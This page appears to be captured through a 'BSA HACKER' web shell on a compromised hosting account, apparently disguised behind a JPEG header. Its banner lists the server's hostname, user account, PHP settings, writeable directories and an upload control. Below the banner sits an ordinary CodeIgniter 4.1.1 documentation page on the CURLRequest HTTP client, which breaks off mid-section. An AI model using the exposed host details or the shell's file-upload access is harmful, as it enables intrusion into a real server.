JFIFHH .
BSA HACKER
Logo of a company Server : Apache
System : Linux nusantara.hosteko.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : koperas1 ( 1254)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/koperas1/public_html/userguide/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/koperas1/public_html/userguide/libraries/curlrequest.html

<!DOCTYPE html>
<html class="writer-html4" lang="en" >
<head>
  <meta charset="utf-8" />
  
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  
  <title>CURLRequest Class &mdash; CodeIgniter 4.1.1 documentation</title>
  

  
  <link rel="stylesheet" href="../_static/css/citheme.css" type="text/css" />
  <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />

  
  
    <link rel="shortcut icon" href="../_static/favicon.ico"/>
  

  
  

  

  
  <!--[if lt IE 9]>
    <script src="../_static/js/html5shiv.min.js"></script>
  <![endif]-->
  
    
      <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
        <script type="text/javascript" src="../_static/jquery.js"></script>
        <script type="text/javascript" src="../_static/underscore.js"></script>
        <script type="text/javascript" src="../_static/doctools.js"></script>
        <script type="text/javascript" src="../_static/language_data.js"></script>
        <script type="text/javascript" src="../_static/js/citheme.js"></script>
        <script type="text/javascript" src="../_static/js/carbon.js"></script>
    
    <script type="text/javascript" src="../_static/js/theme.js"></script>

    
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="Email Class" href="email.html" />
    <link rel="prev" title="Caching Driver" href="caching.html" /> 
</head>

<body class="wy-body-for-nav">

   
  <div class="wy-grid-for-nav">
    
    <nav data-toggle="wy-nav-shift" class="wy-nav-side">
      <div class="wy-side-scroll">
        <div class="wy-side-nav-search"  style="background: #DD4814" >
          

          
            <a href="../index.html">
          

          
            
            <img src="../_static/ci-logo-text.png" class="logo" alt="Logo"/>
          
          </a>

          

          
<div role="search">
  <form id="rtd-search-form" class="wy-form" action="../search.html" method="get">
    <input type="text" name="q" placeholder="Search docs" />
    <input type="hidden" name="check_keywords" value="yes" />
    <input type="hidden" name="area" value="default" />
  </form>
</div>

          
        </div>

        
        <div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation">
          
            
            
              
            
            
              <ul>
<li class="toctree-l1"><a class="reference internal" href="../intro/index.html">Welcome to CodeIgniter4</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../intro/index.html">Welcome to CodeIgniter4</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/requirements.html">Server Requirements</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/credits.html">Credits</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/psr.html">PSR Compliance</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../installation/index.html">Installation</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../installation/installing_composer.html">Composer Installation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/installing_manual.html">Manual Installation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/running.html">Running Your App</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/upgrading.html">Upgrading From a Previous Version</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/troubleshooting.html">Troubleshooting</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/repositories.html">CodeIgniter Repositories</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../tutorial/index.html">Build Your First Application</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/static_pages.html">Static pages</a></li>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/news_section.html">News section</a></li>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/create_news_items.html">Create news items</a></li>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/conclusion.html">Conclusion</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../concepts/index.html">CodeIgniter4 Overview</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../concepts/structure.html">Application Structure</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/mvc.html">Models, Views, and Controllers</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/autoloader.html">Autoloading Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/services.html">Services</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/factories.html">Factories</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/http.html">Working With HTTP Requests</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/security.html">Security Guidelines</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../general/index.html">General Topics</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../general/configuration.html">Configuration</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/urls.html">CodeIgniter URLs</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/helpers.html">Helper Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/common_functions.html">Global Functions and Constants</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/logging.html">Logging Information</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/errors.html">Error Handling</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/caching.html">Web Page Caching</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/ajax.html">AJAX Requests</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/modules.html">Code Modules</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/managing_apps.html">Managing your Applications</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/environments.html">Handling Multiple Environments</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../incoming/index.html">Controllers and Routing</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../incoming/controllers.html">Controllers</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/routing.html">URI Routing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/filters.html">Controller Filters</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/message.html">HTTP Messages</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/request.html">Request Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/incomingrequest.html">IncomingRequest Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/content_negotiation.html">Content Negotiation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/methodspoofing.html">HTTP Method Spoofing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/restful.html">RESTful Resource Handling</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../outgoing/index.html">Building Responses</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/views.html">Views</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_cells.html">View Cells</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_renderer.html">View Renderer</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_layouts.html">View Layouts</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_parser.html">View Parser</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/table.html">HTML Table Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/response.html">HTTP Responses</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/api_responses.html">API Response Trait</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/localization.html">Localization</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/alternative_php.html">Alternate PHP Syntax for View Files</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../database/index.html">Working With Databases</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../database/examples.html">Quick Start: Usage Examples</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/configuration.html">Database Configuration</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/connecting.html">Connecting to a Database</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/queries.html">Running Queries</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/results.html">Generating Query Results</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/helpers.html">Query Helper Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/query_builder.html">Query Builder Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/transactions.html">Transactions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/metadata.html">Getting MetaData</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/call_function.html">Custom Function Calls</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/events.html">Database Events</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/utilities.html">Database Utilities</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../models/index.html">Modeling Data</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../models/model.html">Using CodeIgniter's Model</a></li>
<li class="toctree-l2"><a class="reference internal" href="../models/entities.html">Using Entity Classes</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../dbmgmt/index.html">Managing Databases</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/forge.html">Database Manipulation with Database Forge</a></li>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/migration.html">Database Migrations</a></li>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/seeds.html">Database Seeding</a></li>
</ul>
</li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="index.html">Library Reference</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="caching.html">Caching Driver</a></li>
<li class="toctree-l2 current"><a class="current reference internal" href="#">CURLRequest Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="email.html">Email Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="encryption.html">Encryption Service</a></li>
<li class="toctree-l2"><a class="reference internal" href="files.html">Working with Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="honeypot.html">Honeypot Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="images.html">Image Manipulation Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="pagination.html">Pagination</a></li>
<li class="toctree-l2"><a class="reference internal" href="security.html">Security</a></li>
<li class="toctree-l2"><a class="reference internal" href="sessions.html">Session Library</a></li>
<li class="toctree-l2"><a class="reference internal" href="throttler.html">Throttler</a></li>
<li class="toctree-l2"><a class="reference internal" href="time.html">Times and Dates</a></li>
<li class="toctree-l2"><a class="reference internal" href="typography.html">Typography</a></li>
<li class="toctree-l2"><a class="reference internal" href="uploaded_files.html">Working with Uploaded Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="uri.html">Working with URIs</a></li>
<li class="toctree-l2"><a class="reference internal" href="user_agent.html">User Agent Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="validation.html">Validation</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../helpers/index.html">Helpers</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../helpers/array_helper.html">Array Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/cookie_helper.html">Cookie Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/date_helper.html">Date Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/filesystem_helper.html">Filesystem Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/form_helper.html">Form Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/html_helper.html">HTML Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/inflector_helper.html">Inflector Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/number_helper.html">Number Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/security_helper.html">Security Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/test_helper.html">Test Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/text_helper.html">Text Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/url_helper.html">URL Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/xml_helper.html">XML Helper</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../testing/index.html">Testing</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../testing/overview.html">Getting Started</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/database.html">Database</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/fabricator.html">Generating Data</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/controllers.html">Controller Testing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/feature.html">HTTP Testing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/benchmark.html">Benchmarking</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/debugging.html">Debugging Your Application</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../cli/index.html">Command Line Usage</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli.html">Running via the Command Line</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_commands.html">Custom CLI Commands</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_generators.html">CLI Generators</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_library.html">CLI Library</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_request.html">CLIRequest Class</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../extending/index.html">Extending CodeIgniter</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../extending/core_classes.html">Creating Core System Classes</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/common.html">Replacing Common Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/events.html">Events</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/basecontroller.html">Extending the Controller</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/authentication.html">Authentication</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/contributing.html">Contributing to CodeIgniter</a></li>
</ul>
</li>
</ul>

            
          
        </div>
        
      </div>
    </nav>

    <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap">

      
      <nav class="wy-nav-top" aria-label="top navigation">
        
          <i data-toggle="wy-nav-top" class="fa fa-bars"></i>
          <a href="../index.html">CodeIgniter</a>
        
      </nav>


      <div class="wy-nav-content">
        
        <div class="rst-content">
        
          

















<div role="navigation" aria-label="breadcrumbs navigation">

  <ul class="wy-breadcrumbs">
    
      <li><a href="../index.html" class="icon icon-home"></a> &raquo;</li>
        
          <li><a href="index.html">Library Reference</a> &raquo;</li>
        
      <li>CURLRequest Class</li>
    
    
      <li class="wy-breadcrumbs-aside">
        
          
        
      </li>
    
  </ul>

  
  <hr/>
</div>
          <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article">
           <div itemprop="articleBody">
            
  <div class="section" id="curlrequest-class">
<h1>CURLRequest Class<a class="headerlink" href="#curlrequest-class" title="Permalink to this headline">¶</a></h1>
<p>The <code class="docutils literal notranslate"><span class="pre">CURLRequest</span></code> class is a lightweight HTTP client based on CURL that allows you to talk to other
web sites and servers. It can be used to get the contents of a Google search, retrieve a web page or image,
or communicate with an API, among many other things.</p>
<div class="contents local topic" id="contents">
<ul class="simple">
<li><a class="reference internal" href="#loading-the-library" id="id1">Loading the Library</a></li>
<li><a class="reference internal" href="#working-with-the-library" id="id2">Working with the Library</a><ul>
<li><a class="reference internal" href="#making-requests" id="id3">Making Requests</a></li>
<li><a class="reference internal" href="#using-responses" id="id4">Using Responses</a></li>
</ul>
</li>
<li><a class="reference internal" href="#request-options" id="id5">Request Options</a><ul>
<li><a class="reference internal" href="#allow-redirects" id="id6">allow_redirects</a></li>
<li><a class="reference internal" href="#auth" id="id7">auth</a></li>
<li><a class="reference internal" href="#body" id="id8">body</a></li>
<li><a class="reference internal" href="#cert" id="id9">cert</a></li>
<li><a class="reference internal" href="#connect-timeout" id="id10">connect_timeout</a></li>
<li><a class="reference internal" href="#cookie" id="id11">cookie</a></li>
<li><a class="reference internal" href="#debug" id="id12">debug</a></li>
<li><a class="reference internal" href="#delay" id="id13">delay</a></li>
<li><a class="reference internal" href="#form-params" id="id14">form_params</a></li>
<li><a class="reference internal" href="#headers" id="id15">headers</a></li>
<li><a class="reference internal" href="#http-errors" id="id16">http_errors</a></li>
<li><a class="reference internal" href="#json" id="id17">json</a></li>
<li><a class="reference internal" href="#multipart" id="id18">multipart</a></li>
<li><a class="reference internal" href="#query" id="id19">query</a></li>
<li><a class="reference internal" href="#timeout" id="id20">timeout</a></li>
<li><a class="reference internal" href="#user-agent" id="id21">user_agent</a></li>
<li><a class="reference internal" href="#verify" id="id22">verify</a></li>
<li><a class="reference internal" href="#version" id="id23">version</a></li>
</ul>
</li>
</ul>
</div>
<p>This class is modeled after the <a class="reference external" href="http://docs.guzzlephp.org/en/latest/">Guzzle HTTP Client</a> library since
it is one of the more widely used libraries. Where possible, the syntax has been kept the same so that if
your application needs something a little more powerful than what this library provides, you will have
to change very little to move over to use Guzzle.</p>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">This class requires the <a class="reference external" href="https://www.php.net/manual/en/book.curl.php">cURL Library</a> to be installed
in your version of PHP. This is a very common library that is typically available but not all hosts
will provide it, so please check with your host to verify if you run into problems.</p>
</div>
<div class="section" id="loading-the-library">
<h2><a class="toc-backref" href="#id1">Loading the Library</a><a class="headerlink" href="#loading-the-library" title="Permalink to this headline">¶</a></h2>
<p>The library can be loaded either manually or through the <a class="reference internal" href="../concepts/services.html"><span class="doc">Services class</span></a>.</p>
<p>To load with the Services class call the <code class="docutils literal notranslate"><span class="pre">curlrequest()</span></code> method:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span> <span class="o">=</span> <span class="nx">\Config\Services</span><span class="o">::</span><span class="na">curlrequest</span><span class="p">();</span>
</pre></div>
</div>
<p>You can pass in an array of default options as the first parameter to modify how cURL will handle the request.
The options are described later in this document:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$options</span> <span class="o">=</span> <span class="p">[</span>
        <span class="s1">&#39;baseURI&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;http://example.com/api/v1/&#39;</span><span class="p">,</span>
        <span class="s1">&#39;timeout&#39;</span>  <span class="o">=&gt;</span> <span class="mi">3</span>
<span class="p">];</span>
<span class="nv">$client</span> <span class="o">=</span> <span class="nx">\Config\Services</span><span class="o">::</span><span class="na">curlrequest</span><span class="p">(</span><span class="nv">$options</span><span class="p">);</span>
</pre></div>
</div>
<p>When creating the class manually, you need to pass a few dependencies in. The first parameter is an
instance of the <code class="docutils literal notranslate"><span class="pre">Config\App</span></code> class. The second parameter is a URI instance. The third
parameter is a Response object. The fourth parameter is the optional <code class="docutils literal notranslate"><span class="pre">$options</span></code> array:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">\CodeIgniter\HTTP\CURLRequest</span><span class="p">(</span>
        <span class="k">new</span> <span class="nx">\Config\App</span><span class="p">(),</span>
        <span class="k">new</span> <span class="nx">\CodeIgniter\HTTP\URI</span><span class="p">(),</span>
        <span class="k">new</span> <span class="nx">\CodeIgniter\HTTP\Response</span><span class="p">(</span><span class="k">new</span> <span class="nx">\Config\App</span><span class="p">()),</span>
        <span class="nv">$options</span>
<span class="p">);</span>
</pre></div>
</div>
</div>
<div class="section" id="working-with-the-library">
<h2><a class="toc-backref" href="#id2">Working with the Library</a><a class="headerlink" href="#working-with-the-library" title="Permalink to this headline">¶</a></h2>
<p>Working with CURL requests is simply a matter of creating the Request and getting a
<a class="reference internal" href="../outgoing/response.html"><span class="doc">Response object</span></a> back. It is meant to handle the communications. After that
you have complete control over how the information is handled.</p>
<div class="section" id="making-requests">
<h3><a class="toc-backref" href="#id3">Making Requests</a><a class="headerlink" href="#making-requests" title="Permalink to this headline">¶</a></h3>
<p>Most communication is done through the <code class="docutils literal notranslate"><span class="pre">request()</span></code> method, which fires off the request, and then returns
a Response instance to you. This takes the HTTP method, the url and an array of options as the parameters.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span> <span class="o">=</span> <span class="nx">\Config\Services</span><span class="o">::</span><span class="na">curlrequest</span><span class="p">();</span>

<span class="nv">$response</span> <span class="o">=</span> <span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;https://api.github.com/user&#39;</span><span class="p">,</span> <span class="p">[</span>
        <span class="s1">&#39;auth&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">,</span> <span class="s1">&#39;pass&#39;</span><span class="p">]</span>
<span class="p">]);</span>
</pre></div>
</div>
<p>Since the response is an instance of <code class="docutils literal notranslate"><span class="pre">CodeIgniter\HTTP\Response</span></code> you have all of the normal information
available to you:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">echo</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getStatusCode</span><span class="p">();</span>
<span class="k">echo</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getBody</span><span class="p">();</span>
<span class="k">echo</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getHeader</span><span class="p">(</span><span class="s1">&#39;Content-Type&#39;</span><span class="p">);</span>
<span class="nv">$language</span> <span class="o">=</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">negotiateLanguage</span><span class="p">([</span><span class="s1">&#39;en&#39;</span><span class="p">,</span> <span class="s1">&#39;fr&#39;</span><span class="p">]);</span>
</pre></div>
</div>
<p>While the <code class="docutils literal notranslate"><span class="pre">request()</span></code> method is the most flexible, you can also use the following shortcut methods. They
each take the URL as the first parameter and an array of options as the second:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">&#39;http://example.com&#39;</span><span class="p">);</span>
<span class="nv">$client</span><span class="o">-&gt;</span><span class="na">delete</span><span class="p">(</span><span class="s1">&#39;http://example.com&#39;</span><span class="p">);</span>
<span class="nv">$client</span><span class="o">-&gt;</span><span class="na">head</span><span class="p">(</span><span class="s1">&#39;http://example.com&#39;</span><span class="p">);</span>
<span class="nv">$client</span><span class="o">-&gt;</span><span class="na">options</span><span class="p">(</span><span class="s1">&#39;http://example.com&#39;</span><span class="p">);</span>
<span class="nv">$client</span><span class="o">-&gt;</span><span class="na">patch</span><span class="p">(</span><span class="s1">&#39;http://example.com&#39;</span><span class="p">);</span>
<span class="nv">$client</span><span class="o">-&gt;</span><span class="na">put</span><span class="p">(</span><span class="s1">&#39;http://example.com&#39;</span><span class="p">);</span>
<span class="nv">$client</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">&#39;http://example.com&#39;</span><span class="p">);</span>
</pre></div>
</div>
<div class="section" id="base-uri">
<h4>Base URI<a class="headerlink" href="#base-uri" title="Permalink to this headline">¶</a></h4>
<p>A <code class="docutils literal notranslate"><span class="pre">baseURI</span></code> can be set as one of the options during the instantiation of the class. This allows you to
set a base URI, and then make all requests with that client using relative URLs. This is especially handy
when working with APIs:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span> <span class="o">=</span> <span class="nx">\Config\Services</span><span class="o">::</span><span class="na">curlrequest</span><span class="p">([</span>
        <span class="s1">&#39;baseURI&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;https://example.com/api/v1/&#39;</span>
<span class="p">]);</span>

<span class="c1">// GET http:example.com/api/v1/photos</span>
<span class="nv">$client</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">&#39;photos&#39;</span><span class="p">);</span>

<span class="c1">// GET http:example.com/api/v1/photos/13</span>
<span class="nv">$client</span><span class="o">-&gt;</span><span class="na">delete</span><span class="p">(</span><span class="s1">&#39;photos/13&#39;</span><span class="p">);</span>
</pre></div>
</div>
<p>When a relative URI is provided to the <code class="docutils literal notranslate"><span class="pre">request()</span></code> method or any of the shortcut methods, it will be combined
with the baseURI according to the rules described by
<a class="reference external" href="https://tools.ietf.org/html/rfc3986#section-5.2">RFC 2986, section 2</a>. To save you some time, here are some
examples of how the combinations are resolved.</p>
<blockquote>
<div><table border="1" class="docutils">
<colgroup>
<col width="34%" />
<col width="26%" />
<col width="39%" />
</colgroup>
<thead valign="bottom">
<tr class="row-odd"><th class="head">baseURI</th>
<th class="head">URI</th>
<th class="head">Result</th>
</tr>
</thead>
<tbody valign="top">
<tr class="row-even"><td><cite>http://foo.com</cite></td>
<td>/bar</td>
<td><cite>http://foo.com/bar</cite></td>
</tr>
<tr class="row-odd"><td><cite>http://foo.com/foo</cite></td>
<td>/bar</td>
<td><cite>http://foo.com/bar</cite></td>
</tr>
<tr class="row-even"><td><cite>http://foo.com/foo</cite></td>
<td>bar</td>
<td><cite>http://foo.com/bar</cite></td>
</tr>
<tr class="row-odd"><td><cite>http://foo.com/foo/</cite></td>
<td>bar</td>
<td><cite>http://foo.com/foo/bar</cite></td>
</tr>
<tr class="row-even"><td><cite>http://foo.com</cite></td>
<td><cite>http://baz.com</cite></td>
<td><cite>http://baz.com</cite></td>
</tr>
<tr class="row-odd"><td><cite>http://foo.com/?bar</cite></td>
<td>bar</td>
<td><cite>http://foo.com/bar</cite></td>
</tr>
</tbody>
</table>
</div></blockquote>
</div>
</div>
<div class="section" id="using-responses">
<h3><a class="toc-backref" href="#id4">Using Responses</a><a class="headerlink" href="#using-responses" title="Permalink to this headline">¶</a></h3>
<p>Each <code class="docutils literal notranslate"><span class="pre">request()</span></code> call returns a Response object that contains a lot of useful information and some helpful
methods. The most commonly used methods let you determine the response itself.</p>
<p>You can get the status code and reason phrase of the response:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$code</span>   <span class="o">=</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getStatusCode</span><span class="p">();</span>    <span class="c1">// 200</span>
<span class="nv">$reason</span> <span class="o">=</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getReason</span><span class="p">();</span>      <span class="c1">// OK</span>
</pre></div>
</div>
<p>You can retrieve headers from the response:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// Get a header line</span>
<span class="k">echo</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getHeaderLine</span><span class="p">(</span><span class="s1">&#39;Content-Type&#39;</span><span class="p">);</span>

<span class="c1">// Get all headers</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getHeaders</span><span class="p">()</span> <span class="k">as</span> <span class="nv">$name</span> <span class="o">=&gt;</span> <span class="nv">$value</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">echo</span> <span class="nv">$name</span> <span class="o">.</span><span class="s1">&#39;: &#39;</span><span class="o">.</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getHeaderLine</span><span class="p">(</span><span class="nv">$name</span><span class="p">)</span> <span class="o">.</span><span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
<p>The body can be retrieved using the <code class="docutils literal notranslate"><span class="pre">getBody()</span></code> method:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$body</span> <span class="o">=</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getBody</span><span class="p">();</span>
</pre></div>
</div>
<p>The body is the raw body provided by the remote getServer. If the content type requires formatting, you will need
to ensure that your script handles that:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">if</span> <span class="p">(</span><span class="nb">strpos</span><span class="p">(</span><span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getHeader</span><span class="p">(</span><span class="s1">&#39;content-type&#39;</span><span class="p">),</span> <span class="s1">&#39;application/json&#39;</span><span class="p">)</span> <span class="o">!==</span> <span class="k">false</span><span class="p">)</span>
<span class="p">{</span>
        <span class="nv">$body</span> <span class="o">=</span> <span class="nb">json_decode</span><span class="p">(</span><span class="nv">$body</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
</div>
</div>
</div>
<div class="section" id="request-options">
<h2><a class="toc-backref" href="#id5">Request Options</a><a class="headerlink" href="#request-options" title="Permalink to this headline">¶</a></h2>
<p>This section describes all of the available options you may pass into the constructor, the <code class="docutils literal notranslate"><span class="pre">request()</span></code> method,
or any of the shortcut methods.</p>
<div class="section" id="allow-redirects">
<h3><a class="toc-backref" href="#id6">allow_redirects</a><a class="headerlink" href="#allow-redirects" title="Permalink to this headline">¶</a></h3>
<p>By default, cURL will follow all “Location:” headers the remote servers send back. The <code class="docutils literal notranslate"><span class="pre">allow_redirects</span></code> option
allows you to modify how that works.</p>
<p>If you set the value to <code class="docutils literal notranslate"><span class="pre">false</span></code>, then it will not follow any redirects at all:</p>
